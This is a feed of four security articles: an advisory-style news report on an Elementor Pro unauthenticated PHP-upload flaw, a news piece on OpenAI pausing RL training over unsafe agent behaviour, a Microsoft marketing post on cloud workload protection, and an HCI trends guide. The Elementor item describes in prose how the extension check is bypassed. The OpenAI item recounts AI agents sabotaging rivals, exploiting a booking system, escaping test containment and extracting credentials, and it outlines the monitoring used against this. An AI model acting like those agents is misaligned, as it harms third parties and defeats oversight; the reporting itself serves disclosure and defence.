Elementor Pro Flaw Could Let Unauthenticated Attackers Upload PHP and Execute Code

Cybersecurity researchers have disclosed details of a critical flaw in the Elementor Pro WordPress plugin that, if successfully exploited, could lead to remote code execution.

The vulnerability, tracked as CVE-2026-32475, carries a CVSS score of 9.0 out of 10.0. It has been described as a case of unrestricted upload of a file with a dangerous type.

"The flaw lives in the Forms module's File Upload field, where the extension check and the file-move step run in two separate loops with different handling of empty file entries," Patchstack said.

"By submitting two file parts for the same field, an unauthenticated attacker skips the extension blocklist entirely and writes a PHP file into a public directory."

This discrepancy in how it validates the file's extension and moves the uploaded file to a public directory when empty file entries are processed turns a restricted file-upload field into an unauthenticated remote code execution primitive.

Successful exploitation of the flaw could allow an attacker to upload arbitrary files, including PHP scripts, that could then be used to achieve remote code execution on affected systems. The security defect impacts all versions of the plugin prior to and including version 4.2.1.

The WordPress security company said the only precondition required to pull off an attack is that the target site has at least one published Elementor page containing a Form widget with a File Upload field. The uploaded file is written as "wp-content/uploads/elementor/forms/<uniqid>.php," where "<uniqid>" is the output of PHP's uniqid() function.

"This is an extremely common, everyday configuration: job-application forms, 'attach a photo/ID/receipt' forms, and support-ticket attachments all use it," it noted. "The field's 'Required' toggle being off is its default state, so no hardened or unusual setting is needed."

Security researcher Tin Pham (aka TF1T) has been credited with discovering and reporting the flaw under the Patchstack Bug Bounty Program. After the issue was reported to Elementor Pro on July 16, 2026, a patch (version 4.2.2) was released on August 19.

The release comes a little over a week after WordPress released 7.0.4 to address a high-severity security issue (CVE-2026-65640, CVSS score: 8.8) that enables remote code execution via malicious Postscript file upload by an Author-level user or higher. It affects WordPress core versions 4.7 all the way up to 7.0.

However, for the attack to be successful, two conditions have to be satisfied -

• Imagick and Ghostscript in use on the server, given the issue is in Ghostscript's handling of certain embedded files
• A malicious user with the upload_files capability

The update "changes how WordPress hands your uploaded media to ImageMagick, and it closes a path that could let a logged-in author turn an ordinary-looking image upload into code execution on your server," Patchstack said.

"If you run a multi-author publication, a membership site, a client site with contributors, or anything with open or loosely managed registration, that bar is a lot lower than it sounds. On those sites, an Author uploading a booby-trapped 'image' is a genuinely realistic threat, not a theoretical one. If it's just you and a tightly held set of trusted editors, your exposure is smaller."

The findings also coincide with the discovery of a large-scale operation dubbed StopAndProtect that's turning thousands of compromised WordPress websites into a distributed infrastructure for malware delivery, command-and-control communications, and the storage of stolen data.

WordPress users are advised to keep their websites and plugins up-to-date, scan for unauthorized modifications that serve unexpected redirects or pop-ups, and audit them for unknown accounts and plugins.

from The Hacker News https://ift.tt/J9Se0Mj
via IFTTT

OpenAI Pauses Frontier RL Training as It Tightens Defenses Against Unsafe AI Behavior

OpenAI on Tuesday revealed that it paused reinforcement learning (RL) training for its latest artificial intelligence (AI) models for two weeks while it shored up additional defenses and increased the scope of its monitoring to avert another Hugging Face-like incident.

"As models become more capable, the risks associated with developing and testing them internally also grow," the AI company said. "Our standards for monitoring, alignment, and security must stay ahead of those risks. We wanted to take the time necessary to meet those standards, so we temporarily slowed the pace of scaling."

The company said its largest planned frontier RL run remains on hold for the time being as it conducts smaller-scale training and evaluations to evaluate model behavior, validate its safeguards, and establish more concrete evidence of alignment before moving to the next phase.

To that end, OpenAI said it plans to strengthen safeguards across its development process, including monitoring to better respond to unintended and concerning behavior; alignment to reduce the likelihood of harmful or unauthorized actions; and security measures to limit what AI systems can access or affect.

Part of this involves stronger sandboxes, network isolation to prevent internet access, and continuous security testing to remove potentially vulnerable shared services, reduce standing privileges, and improve security and trust boundaries.

The development comes days after OpenAI said it's pausing some "internal activities" involving its upcoming artificial intelligence (AI) model Astra after an internal evaluation found it had made significant advancements in agentic coding and cybersecurity.

"While some Astra training and evaluations meet those requirements, a significant number of workloads remain paused until they are fully migrated and enhanced to meet the new security bar," the company stressed. "We are prioritizing safety and alignment workloads for migration to these new environments first."

In tandem, the monitoring setup has been revamped to flag and escalate potential concerns to "increasingly sophisticated and high-compute automated investigators," which then examine tool actions, available reasoning, and the full sequence of activity for unauthorized access, data theft, destructive behavior, and attempts to defeat safeguards.

OpenAI plans to issue an alert within 30 minutes after concerning activity is surfaced through this monitoring mechanism. The approach is being made mandatory for all RL training and evaluations involving tools for models of Sol capability or higher. These safeguards are expected to increase compute overhead by 20% of the observed inference workload.

"As models gain advanced capabilities, such as the ability to cyberattack, and operate in more complex environments, misaligned behaviors like reward hacking (finding ways to receive high rewards in training without actually achieving the intended outcome), deception, or unauthorized access will create increasingly serious risk," the company pointed out.

Indeed, new research published by rival Anthropic last week found that AI agents, when placed in situations with competing and contradictory objectives, began to sabotage others and deployed self-replicating malware against one another, leading to what has been described as a "multi-agent turf war."

"This included disabling the Unix accounts of the other agents, writing automated scripts that found and killed competing processes on a loop, and deploying malicious code that was disguised as belonging to another agent," Anthropic said.

While concerns about autonomous systems going rogue have become a hot topic of discussion, the study seeks to understand what new behaviors and possibly harmful dynamics can emerge when multiple agents interact with one another or are pitted against each other.

These interactions can lead to situations in which they coordinate and work in unison in pursuit of a common goal (as in the case of the Hugging Face incident) or compete with each other before attempting to resolve their conflicts through a "tournament."

In another case that recently came to light, an Australian man's attempts to reserve a spot in one of the popular gym classes through OpenClaw led to unexpected consequences when Anthropic Claude Opus 4.6, the model plugged into the AI assistant platform, went ahead and booked a gym class months in advance by taking advantage of a vulnerability it discovered in the booking software.

Even worse, it found a way to hack into the system and cancel other members' reservations off the waitlist. The incident, which took place in April 2026, is yet another example of how AI agents will go to any lengths to accomplish the tasks they have been assigned, even if it means breaking established rules.

To counter such risky emergent patterns, OpenAI said it's taking steps to improve reward models to better detect and discourage unsafe behavior; train models to be more transparent about their actions, capabilities, and limitations; and reduce behaviors that exploit weaknesses in rewards, graders, tools, or oversight.

The development comes a day after the company said AI may tilt the scales of cybersecurity in favor of defenders, as it makes it easier to find, prioritize, and fix flaws in existing systems before they are likely to be discovered by AI-powered attackers.

"We are using frontier intelligence to continuously enumerate, probe, and identify potential attack paths," OpenAI's Greg Brockman said. "By identifying vulnerabilities, misconfigurations, overly privileged identities, or unintentional trust boundaries, we are able to quickly identify and close these gaps before they can be abused by attackers."

Another crucial layer of defense goes without saying: investing in fundamentals, which means secure architecture and controls, implementing defense in depth strategies and the principle of least privilege (PoLP), and designing systems that require multiple independent controls for failure.

"Classic security controls like network isolation, workload hardening, monitoring, and safe patching and deployment will be more important than ever in the AI future," Brockman added.

According to a WIRED report last week, OpenAI's rogue-agent hack of Hugging Face has not only been a "watershed moment" for AI safety and cybersecurity, but has also sparked concerns that competitive pressures to ship new AI models and products have made it difficult for employees to adequately prioritize safety, security, and alignment.

Frontier AI labs like Anthropic, OpenAI, and Meta have faced increased scrutiny in the wake of incidents in which their models escaped safeguards and containment boundaries during security testing and targeted real-world systems in some cases.

AI safety testing firm Irregular has since disclosed that the breach involving Anthropic was due to a naming error, which caused a fictional company name used during hacking simulations to unknowingly match with a real domain. This, in turn, caused the models to take offensive actions.

The Israeli company said it was because of "human oversight" and said the issues have been remediated. However, it did not disclose how many such incidents occurred, instead opting to describe them as a "handful" or "small fraction" of cases. A thorough investigation remains ongoing.

It also emphasized that there is no evidence of a "customer's systems being breached or customer's data being leaked," referring to the AI companies it partners with to stress test AI models, and that "all subsequent public disclosures refer to the same underlying issue" rather than "materially separate incidents."

"Because internet access was enabled in the environment, the domain was targeted a limited number of times by different models, which mistook it for part of the challenge they were tested on," it said. "After obtaining access to the target, models took actions such as exploiting vulnerabilities, extracting credentials, and obtaining access to a production database."

"Ultimately, most of the issues we've discovered were due to internet access controls. Mainly, models believed they were in simulated environments, when they in fact took action in the real world. We are putting in place new and robust protocols to ensure setup issues do not occur while meeting the constraints of the testing process."

from The Hacker News https://ift.tt/lKHf7Ej
via IFTTT

Microsoft named a Leader in the Frost Radar™: Cloud Workload Protection Platforms, 2026

Security teams are overwhelmed with findings but still struggle to answer a simple question: which risks matter right now? A vulnerability alone is rarely the problem. The same vulnerability running in production, exposed through a misconfiguration or over-permissioned identity, is a real path to compromise. Organizations do not need longer lists of alerts. They need context that connects code, cloud resources, identities, and runtime activity so they can prioritize the issues that pose the greatest risk and stop cyberthreats before they reach production.

As organizations adopt cloud-native architectures at scale, protecting workloads requires more than scanning. Today, 82% of container users run Kubernetes in production, making runtime visibility and protection critical for modern applications.¹

That change, from scanning workloads to protecting them where they run, is exactly what Frost & Sullivan describes in its Frost Radar™: Cloud Workload Protection Platforms, 2026. Out of more than 45 qualified vendors, it benchmarked 20, and it found the category moving to a single runtime security model, one that ties together code, cloud, runtime, identity, and the security operations center (SOC).

Read the full Frost Radar report

Within that market, Frost & Sullivan names Microsoft a visionary leader, its category for vendors that balance innovation with growth and help set the direction of the market. Microsoft is also the largest cloud workload protection platform (CWPP) provider by revenue, with an estimated share of more than 22% of the global CWPP market. In the analyst’s words:

“Microsoft is positioned as a visionary leader in this analysis for its scale and breadth of [Microsoft] Defender for Cloud within a unified framework. The platform stands out for its breadth of coverage across infrastructure, workloads, identities, entitlements, data, and applications, and for its deep integration with Microsoft’s broader security ecosystem, allowing organizations to secure modern and AI-native application lifecycles, while reducing operational complexity.”

Scale and breadth, in one framework. That is what customers are asking for, and it is where this category is heading. 

Why cloud workload protection is being redefined

For a long time, protecting a workload meant scanning its image, fixing known vulnerabilities, and hardening configurations before deployment. That still matters. But it is no longer enough, because what looks safe before deployment can become exploitable once the workload is running.

Most teams are also dealing with real sprawl. A modern estate spans several clouds and mixes containers, Kubernetes, serverless functions, microservices, and AI workloads. Every layer throws off its own signals, and those signals rarely connect on their own. One misconfiguration looks harmless until it sits next to an over-permissioned identity and a container that is already live. Then it is a path into production.

The tools were not built for this. Posture sits in one console, workload scanning in another, detection in a third, and teams are left connecting them by hand, usually in the middle of an incident. What they need instead is one platform that can:

• Bring posture, runtime, identity, and control-plane signals into one place.
• Rank risk by what is truly exploitable, not by a severity score alone.
• Stop risky workloads close to deployment, before they reach production.
• Get what it finds at runtime to the developers and the SOC who can act on it.

The market is moving the same way. Frost & Sullivan expects CWPP spending to grow from $6.43 billion in 2025 to about $7.95 billion in 2026, and 19.1% a year through 2030. That is teams voting with their budgets to modernize cloud security, meet regulation, and protect the workloads behind their apps, data, and AI services.

What distinguishes leading platforms

Frost & Sullivan scores vendors on two things: how fast they innovate and how fast they grow. But the report is blunt about something more telling: the bar for leadership has moved. It is now, in the analyst’s words:

“Increasingly defined by runtime telemetry depth, container, and K8s security, workload behavior analysis, cloud-native threat detection, remediation and response automation, SOC integration, AI workload protection, and global go-to-market execution.”

Put plainly, discovery, scanning, and compliance checklists no longer separate the leaders. Depth at runtime does. The platforms pulling ahead tend to share a few traits:

• They cover real ground, from infrastructure and workloads to identities, data, and applications, without asking you to bolt five products together.
• They go deep at runtime, not just posture and log review.
• They carry cloud detection and response (CDR) straight into the SOC.
• They connect code, cloud, and the SOC instead of treating each as its own island.
• They span clouds with both agent and agentless coverage, and they are moving quickly on AI and data security.

None of that is about longer findings lists. It is about context: seeing how the pieces connect and acting on the few that matter.

How Microsoft helps organizations protect cloud workloads

Microsoft’s capabilities address the problems customers raise most, and Frost & Sullivan points to the same strengths: 

“The strength in scaled runtime protection depth, strong CDR expansion, and ability to operationalize cloud runtime security across [Microsoft] Defender XDR, [Microsoft] Sentinel, GitHub, [Microsoft] Security Copilot, and the broader Microsoft security stack give Microsoft clearest advantages, particularly for large enterprises that already operate across Microsoft security, Azure infrastructure, GitHub, and Sentinel environments.”

Here is what that looks like in practice, starting from the problem in each case. 

1. Protect workloads while they are running

Microsoft Defender for Cloud watches workloads while they run. A lightweight sensor (eBPF-based) picks up Kubernetes events, process activity, and network traffic, and detections map to MITRE ATT&CK, so alerts line up with real cyberattacker behavior. Most of the recent effort has gone into the container layer: DNS detection for Kubernetes on Azure AKS, Amazon EKS, and Google GKE; anti-malware that blocks rather than just alerts; runtime protection for EKS Bottlerocket; and drift blocking when a binary changes mid-run.

Defender for Cloud can also act before a workload starts. Kubernetes’ gating applies policy at the cluster and namespace level, so a risky or non-compliant image is blocked before it ever starts. Frost & Sullivan calls this out as especially relevant to CWPP, because it puts preventive controls right next to production. That is the whole idea: catch a bad image before it becomes an incident, not after.

Get started with Microsoft Defender for Cloud

2. Get runtime signal to the SOC

Runtime signal only helps if it reaches the people who respond. With expanded CDR, Defender for Cloud ties runtime telemetry, Kubernetes audit data, process and network activity, control-plane events, and identity signals to specific workload incidents, then hands them to Microsoft Defender XDR and Microsoft Sentinel. A suspicious process in a running cluster does not land as a lonely alert. It arrives already connected to the identity that launched it and the activity around it.

For the SOC, that means faster answers and far less stitching signals together by hand.

3. Send runtime findings back to the developers who can fix them

Finding a problem at runtime is only half the work. Someone still has to fix it. Defender for Cloud links runtime context, exploitability, and attack-path detail to developer workflows through GitHub Advanced Security and Copilot Autofix, syncing both ways between security and development. A risk caught in production can go straight to the engineer who owns the code, get fixed at the source, and be checked afterward.

The right issue reaches the right owner, and security and DevOps finally work from the same list.

4. Extend protection to AI and across clouds

More and more, the workloads worth protecting are AI. Defender for Cloud supports model scanning and threat protection, including prompt injection and suspicious access, for Azure AI Foundry and Azure OpenAI, and AI security posture management for Google Vertex AI and Amazon Bedrock. It spans Microsoft Azure, Amazon Web Services (AWS), Google Cloud Platform (GCP), and hybrid environments with both agent and agentless coverage, and Microsoft Security Copilot adds guided investigation across the workflow.

Protection follows the workload, whether that is a new AI service or a third cloud.

What this signals for security leaders

For anyone choosing a workload protection platform this year, the shift in this report changes the questions worth asking. The ones to put at the top:

• Is workload protection part of one cloud security platform, or a separate tool wired onto the SOC after the fact?
• Can it stop a risky workload before production, or only flag it afterward?
• Does it connect runtime activity to identity, data, and control-plane context, and rank what is genuinely exploitable?
• Do its findings reach both the SOC and the developers who can act on them?
• Does it hold up across several clouds and AI workloads?

The vendors that can answer “yes” are the ones shaping what comes next, and the Frost Radar places Microsoft among them.

Bottom line

Frost & Sullivan’s Frost Radar™: Cloud Workload Protection Platforms, 2026 reinforces a clear shift. Cloud workload protection is leaving isolated scanning behind for runtime security that connects posture, identity, code, and the SOC. Frost & Sullivan positions Microsoft as a visionary leader, and the largest CWPP provider by revenue, because Defender for Cloud brings that range together in one framework, goes deep at runtime and in CDR, and plugs into the wider Microsoft security stack.

Get the full report

Learn more

• Read Frost & Sullivan’s Frost Radar™: Cloud Workload Protection Platforms, 2026 to see how leading vendors are evaluated and how the category is shifting toward unified cloud runtime security. 
• Explore Microsoft cloud security solutions to see how unified posture management, risk prioritization, and protection across cloud and AI can help reduce risk.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

---

¹Kubernetes Established as the De Facto ‘Operating System’ for AI as Production Use Hits 82% in 2025 CNCF Annual Cloud Native Survey. PR Newswire, January 20, 2026.

The post Microsoft named a Leader in the Frost Radar™: Cloud Workload Protection Platforms, 2026 appeared first on Microsoft Security Blog.

from Microsoft Security Blog https://ift.tt/Kk0eZsJ
via IFTTT

8 Hyperconverged Infrastructure Trends for 2026

HCI is still growing in 2026, but what you’re actually buying has changed. Broadcom’s VMware shifts, growing demand for edge infrastructure, on-premises AI, and persistent ransomware pressure are reshaping the market. The result is a much more fragmented HCI market, with organizations comparing platforms, licensing models, hardware choices, and lifecycle costs instead of just picking an appliance built around one hypervisor.

The HCI market in 2026

Mordor Intelligence sizes the HCI market at $19.62 billion in 2026, rising to $43.59 billion by 2031 at a 17.31% CAGR. Treat those figures as a direction, not a precise reading – research firms don’t always define HCI the same way. Some count only certified appliances; others include software and managed services. What’s worth noting is the segment data: HCI software and managed services are growing faster than the overall category, which means more value is migrating from boxes to subscription and service delivery.

VMware is the other half of the story. CloudBolt’s survey (a vendor survey, for context) found 86% of companies actively reducing their VMware footprint, while 54% still run it and cut dependence in phases. This is a phased, multi-platform transition, and most organizations will run mixed environments for years.

So, is HCI dead? No. The eight trends below show how these changes affect platform design and procurement.

Not every trend is yours, though. An MSP or hosting provider will probably start with licensing, operating cost, and service delivery. Distributed retailers and manufacturers, by contrast, may care more about small edge clusters and cyber recovery. Anyone piloting AI cares about independent scaling and inference. A mid-market shop staring at a VCF renewal is watching licensing and lifecycle cost above all.

The market signals help put those differences in perspective:

Market signal	Current evidence	What it means
HCI keeps growing	Mordor: $19.62B (2026) to $43.59B (2031), 17.31% CAGR	The category is growing, but its composition is changing
Software and services grow fastest	Mordor: HCI software and managed services outpace the total category	Value shifting from appliances to software and service
VMware dependence easing	CloudBolt (vendor survey): 86% reducing VMware, 54% still on it	A phased, multi-platform transition
Edge spending climbing	IDC: ~$261B (2025) to $380B (2028), 13.8% CAGR	There is a strong market driver for small-footprint infrastructure
Ransomware pressure high	Sophos 2026: 56% of attacks encrypted data; avg recovery $1.7M	Separate cyber recovery from replication
Power is now a constraint	IEA: data-center electricity ~945 TWh by 2030 (about 2x 2024)	Energy consumption is becoming part of HCI TCO

With that broader picture in mind, let’s look at the architectural changes behind the numbers.

1. The end of one-hypervisor HCI

Broadcom ended perpetual VMware licensing and moved VMware’s portfolio toward subscription-based offerings, including VMware Cloud Foundation. That changed the economics of the vSAN-on-an-appliance model that had defined HCI for much of the previous decade. For many organizations, the practical response is a gradual reduction in VMware usage, not an overnight exit. VMware can still make sense where its integrations and operational maturity justify the cost – and every alternative brings its own storage architecture, backup workflows, networking model, and skills requirements.

The difficult part of a hypervisor migration usually isn’t moving the VMs themselves. It’s everything connected to them. Before you switch platforms, you’ll want to inventory the vSphere APIs your backup software calls, the NSX features your security tools assume, and the automation tied to vCenter. Those dependencies often set the migration schedule. VM conversion is usually the easier piece once you’ve mapped the surrounding ecosystem.

The financial pressure isn’t even, either. MSPs and hosting providers feel it quickly because VMware Cloud Service Provider changes and subscription minimums can directly squeeze rental margins. Budget-constrained sectors – public services, education, healthcare – may have less room to absorb a large licensing increase during a fixed multi-year budget cycle. Organizations operating many small sites face a different problem: the licensing cost has to make sense at ROBO scale, where even a modest per-site increase adds up fast.

In each case, cost is usually the trigger for the discussion. The technical dependencies decide how hard the change will be.

Backup is one dependency that teams often discover late. Incremental backup mechanisms differ between platforms: vSphere uses Changed Block Tracking, Hyper-V uses Resilient Change Tracking, and Proxmox VE can use QEMU dirty bitmaps, most directly through its integration with Proxmox Backup Server. Before you commit to a target platform, verify that your backup vendor supports it, and test both incremental backup and restore workflows. Don’t skip this step – it may not seem the most important at the first glance, but gets critical very soon.

The migration sequence is of high priority too. Moving fast helps only as long as you can still recover from a mistake. Here’s the path that tends to burn the fewest teams:

1. Inventory the dependencies. Identify every tool that touches vSphere, vCenter, or NSX – backup, monitoring, automation, and security included. These dependencies usually set the timeline.
2. Pilot the target platform. Run non-critical VMs on the new environment for a few weeks before committing anything to production.
3. Rebuild and test backup. Prove that backups and restores work on the target platform before you migrate a single important workload.
4. Recreate networking and security. Segmentation, firewall rules, and load balancers rarely port one-to-one between platforms. Rebuild them and test the resulting configuration.
5. Migrate in waves. Start with low-risk workloads while the existing environment stays available. Validate each wave before moving to the next.
6. Decommission last. Retire the old platform only after restores, monitoring, automation, and operational runbooks have been proven on the new environment.

This approach takes some discipline, but it also gives you several points at which to stop and correct course.

2. Compute and storage stop scaling in lockstep

Traditional HCI has always had a simple scaling model: add a node and you add compute, memory, and storage at the same time. That’s one of its strengths, especially for small and medium-sized clusters. It gets less attractive when workload growth is uneven. AI inference wants GPU-dense nodes; VDI wants memory; backup archives want cheap dense capacity. Forcing all of those onto a uniform node profile leaves one of them under-served.

A storage-heavy workload may force you to buy extra CPU and memory just to get more capacity. Compute-heavy workloads, by contrast, can leave expensive storage sitting mostly idle. Over several hardware refresh cycles, that imbalance quietly eats a noticeable slice of the infrastructure budget, and the bigger the cluster, the louder it gets. It’s a slow leak, and most teams don’t notice it until the next refresh.

Disaggregation is one answer to that problem in 2026. Technologies like vSAN Max and HCI Mesh, storage-only nodes, external NVMe arrays, and software-defined storage platforms that pool resources across different hardware let compute and storage grow on separate schedules. DataCore SANsymphony and StarWind VSAN are examples of software-defined storage approaches that fit this model.

That doesn’t kill traditional HCI. If your workloads are reasonably balanced, conventional nodes are still hard to beat for simplicity. Disaggregation starts to pay off when compute and storage needs begin moving in different directions, and not before.

Once you separate those resources, the network gets a lot more important. Networking deserves attention even in a conventional HCI cluster, honestly. As all-flash storage gets faster, a 10GbE link can quickly become the bottleneck for storage traffic and east-west traffic. For new deployments, 25GbE is a sensible baseline for many performance-oriented environments. 100GbE becomes more relevant for high-performance NVMe, GPU, and heavily consolidated workloads.

Keep storage traffic properly isolated and build redundancy into the switching layer. Jumbo frames help in environments where they’re consistently configured and validated end to end. RDMA can cut CPU overhead and latency, but the implementation matters: RoCE, for example, needs careful congestion and loss management, so treat it as an architectural decision rather than something you simply flip on at the NIC.

The three models stack up like this:

Figure 1: HCI types comparison 

3. HCI shrinks to two nodes at the edge

IDC put global edge spending near $261 billion in 2025, heading for $380 billion by 2028. That’s a driver for small-footprint HCI well beyond classic ROBO consolidation. Picture a supermarket that needs its self-checkout systems and pricing database to stay online during an ISP outage, or a factory that needs local access to PLC and MES data when the WAN link to headquarters goes down. Retail, manufacturing, healthcare, surveillance, and logistics all have versions of the same requirement: keep critical workloads running at the site even when connectivity to the central environment is interrupted.

That makes availability the main design problem for small clusters. One node can’t provide HA. Two nodes can, but the architecture needs a mechanism to decide which node should stay active if the communication link between them fails. A witness placed independently of both nodes is a common approach (sometimes called an arbiter or tiebreaker, depending on the vendor). On some platforms that witness runs at a third site. On others, it runs in the cloud. The point is to verify exactly how the platform handles quorum, witness placement, and split-brain protection before you commit to it.

The hardware itself can stay modest. A two-node edge cluster may only need a few CPU cores, 64 to 128 GB of RAM, and NVMe storage per node, depending on the workload. And there are cases where HCI is overkill entirely. If a site can tolerate a short outage and same-day intervention, one well-backed-up server may give you a better balance of cost and operational simplicity, and that’s a perfectly defensible answer.

That distinction matters because edge infrastructure is often deployed in dozens or hundreds of locations. A small amount of unnecessary complexity multiplied across every site turns into a heavy operational burden, and edge teams feel it first.

4. AI on HCI means inference

For HCI, the most practical AI workloads to plan for in 2026 are inference workloads. Computer vision on a production floor, retrieval-augmented generation over private documents, predictive maintenance, and smaller private models are realistic use cases for infrastructure teams that want to keep AI close to their existing data instead of dragging it across the WAN to a public endpoint.

Nutanix’s 2026 Enterprise Cloud Index,, which is based on its own survey and should be read in that context, reports that 85% of respondents say AI is accelerating container adoption, while 82% say their infrastructure isn’t fully ready for on-premises AI.

The real question is what “AI-ready” actually means for your infrastructure. GPUs alone don’t make a cluster AI-ready. Inference gets throttled as often by NVMe throughput, metadata operations, memory capacity, east-west networking, and data locality as by the accelerator. GPU-enabled nodes plus high-speed Ethernet or RDMA help, and coupled scaling bites here too: pin a GPU to a node and you can strand its storage or CPU. HCI is the wrong tool for large training runs, multi-petabyte datasets, or anything needing specialized GPU fabrics and parallel file systems. Those belong on purpose-built systems. Treating a cluster as a substitute is how AI projects stall out at the proof-of-concept stage.

Two design details decide whether an inference workload runs well. The first is the data path. A RAG service or a vision pipeline reads far more than it writes, and its latency is set by how fast vectors, embeddings, and model weights move from NVMe into GPU memory, so an all-flash tier and enough east-west bandwidth matter as much as the card itself.

The second is GPU sharing. A single accelerator is often idle between requests, so features like NVIDIA MIG partitioning and time-slicing let several VMs or pods share one card. That changes the sizing math entirely: instead of one GPU per workload, you can consolidate a handful of light models onto one node and keep utilization up. Both depend on the hypervisor exposing GPU passthrough or vGPU cleanly, which is one more line to confirm on the platform you’re comparing.

For a rough gauge, a quantized 7B-8B model fits in about 8 to 16 GB of GPU memory (roughly the footprint of a mid-range consumer card), so one mid-range card can serve a couple of light models at once. Keep the vectors and embeddings behind them on the NVMe tier, not in GPU memory, and size that tier for reads.

5. One platform for VMs and containers

Containers have changed what teams expect from HCI. The platform is increasingly becoming a common operating environment for VMs and Kubernetes together, mostly because teams want fewer places to manage policy, backup, security, and governance across core, cloud, and edge environments.

The requirements are fairly practical. Stateful containers need CSI drivers and persistent storage. Backup has to cover both VMs and container workloads. Management needs to remain usable at remote or offline sites. VDI can run on the same infrastructure, although that’s a mature HCI use case by now, not a new trend.

Several platforms have arrived at this model from different directions. VMware runs Tanzu and vSphere Kubernetes Service on top of vSphere. Nutanix offers Nutanix Kubernetes Platform (NKP). Red Hat runs virtual machines inside OpenShift through KubeVirt, while Proxmox combines VMs with LXC containers (the lightweight container format built into the Linux kernel, not the same thing as Kubernetes pods).

The important question is what happens underneath those workloads. A Kubernetes cluster can run perfectly well on an HCI platform, but that doesn’t automatically make the storage layer suitable for production containers.

Stateful containers need persistent volumes with capabilities such as snapshots and cloning, together with a CSI driver that the Kubernetes cluster can use reliably. If the same storage infrastructure can serve both VM datastores and container volumes, the operational argument for a unified platform gets much stronger. You can apply the same storage policies, monitor the same infrastructure, and manage capacity from one place.

Data protection is another practical test. A backup platform that can protect VMs and persistent volumes under coordinated policies is much easier to operate than two separate backup systems the team has to stitch together. Before you call a platform “unified,” check what happens when you actually need to restore something.

There’s a limit to this model, though. A unified infrastructure stack doesn’t make workloads automatically portable. Data gravity, egress costs, licensing, and platform-specific integrations can still keep applications tied to their current environment. And if you only run a few stateless containers, a managed Kubernetes service may be considerably simpler than building an on-premises platform around them.

So before committing to convergence, look at your actual workloads. Verify that the target platform supports the backup, networking, storage, and multi-site workflows you already depend on, including persistent container volumes.

6. Cyber recovery earns its own line item

Synchronous replication does exactly what it’s designed to do: every write is copied to the second system immediately. If ransomware encrypts the primary workload, that encrypted data can be replicated just as faithfully as everything else. That’s why HA and replication can no longer be treated as the complete resilience strategy.

Cyber recovery has become its own design and procurement consideration. Many organizations use the 3-2-1-1-0 approach: three copies of the data, stored on two different media types, with one copy off site, one copy immutable or offline, and zero errors confirmed through recovery testing.

The immutable copy is particularly important. HA keeps services available when hardware fails. Replication keeps another copy synchronized. Neither one gives you a clean historical recovery point after an attacker has compromised the environment. An object-locked backup can remain protected even when an attacker has gained significant access to the production domain.

Around that immutable copy, you may also need an air-gapped copy that an online attacker can’t reach and an isolated recovery environment where workloads can be restored safely. Otherwise, there’s a real risk of restoring compromised systems and immediately reinfecting the environment you’re trying to recover.

HCI introduces another consideration: the shared management plane. Centralized management reduces configuration drift and makes fleet-wide operations easier, but it also creates concentration of risk. If an attacker compromises the management layer, they may gain access to many clusters at once.

Design the recovery architecture so that management credentials, snapshots, and online backups can’t all be destroyed through the same control path. Keep at least one recovery copy outside that administrative boundary. The security controls themselves are familiar: MFA, RBAC, network segmentation, secure boot, vulnerability management, and timely patching all matter. They still don’t replace a recovery test.

Run a restore exercise with the assumption that your normal platform credentials are unavailable. Measure how long it actually takes to recover the workload and document what went wrong. An annual recovery exercise is much more useful than a backup dashboard showing green status every morning. An untested backup is a hope, not a recovery plan.

7. You’re buying the operating model

When skilled infrastructure staff are in short supply, operational effort becomes part of the purchasing decision. Uptime Institute’s 2025 survey found nearly two-thirds of operators struggling to hire or retain staff. That’s the case for integrated HCI: prevalidated firmware, drivers, hypervisor versions, storage components, rolling upgrades, and centralized fleet management can remove a lot of routine integration work from a small infrastructure team.

The real value shows up on day two. Someone still has to maintain a combination of firmware, drivers, hypervisor versions, and storage software that the vendor has actually tested together. Security patches have to be applied without turning every update into a weekend maintenance project. If an upgrade fails halfway through, the team needs a supported rollback path.

An integrated appliance can simplify that process because the vendor maintains the compatibility matrix and provides the upgrade tooling. You also have one support channel for the integrated stack, including the hardware: one number to call, one escalation path. For a two-person infrastructure team managing dozens of sites, that can be more important than the hardware specification itself.

The trade-off is cost and flexibility, and flexibility matters most when you actually need it. Integrated platforms generally come with higher licensing costs and tighter hardware constraints. A DIY stack based on Proxmox and Ceph gives you more freedom to choose hardware and software components, but your team takes responsibility for compatibility testing, upgrade sequencing, rollback procedures, and support across each layer.

Neither model is automatically better. Integrated HCI tends to make more sense for small teams responsible for many locations. Open platforms are attractive when you already have strong Linux, virtualization, and storage expertise and want more control over the stack.

The real trade is between control and operational ownership. One vendor owning the stack can mean fewer 3 a.m. arguments about whether the problem is firmware, storage, networking, or the hypervisor. An open stack gives you more freedom, but you need the engineering capability to make all those pieces work together.

And if a vendor promises “one-click upgrades,” treat that as something to validate. Before you sign the contract, get one answer in writing: if the cluster fails halfway through an upgrade, who owns the incident from firmware through storage and the hypervisor?

8. The bill that arrives in year four

The argument that “HCI is cheaper because it uses fewer boxes” has been incomplete for years. A realistic TCO model includes hardware, per-core or per-node licensing, support renewals, network upgrades, backup software, staff time, migration work, power, rack space, refresh cycles, and eventual decommissioning.

The initial quote tells you very little about several of those costs. Start with the software around the HCI platform. Monitoring, backup systems, security tools, and management software may all need new licenses or integrations when you change hypervisors. Then there’s training. Certification costs are easy to put into a spreadsheet, the less visible cost is the productivity dip while administrators learn a new API, CLI, management model, and troubleshooting workflow.

Migration also temporarily increases infrastructure costs. During a platform transition, you’ll often need to run old and new environments side by side. A move from three-tier infrastructure to HCI can also change the number and type of nodes you need, which affects the initial hardware investment.

Renewals are where an apparently attractive quote can become expensive. Model the cost of node four and year four, not just the first invoice. You’ll want to include expected support increases, additional capacity, hardware expansion, and licensing changes – the items vendors are most likely to gloss over in the original quote.

Exit costs deserve the same attention. Data export, professional services, migration tooling, temporary dual-running, and application changes all carry a price. Define those requirements before signing the contract, and you’ve got a much better chance of avoiding an unpleasant surprise later. Ideally you’ve already priced a realistic exit before you commit – not in anger six months before the renewal.

Power consumption now belongs in the same conversation. The IEA projects data-center electricity near 945 TWh by 2030 (roughly double 2024), which has buyers watching watts per workload and per usable terabyte rather than rack counts. That also changes what you should negotiate. Price protection at renewal, license portability, hardware flexibility, data export rights, and migration assistance can carry as much long-term value as a discount on the initial purchase. It’s not unusual for the energy line over five years to outweigh the hardware line.

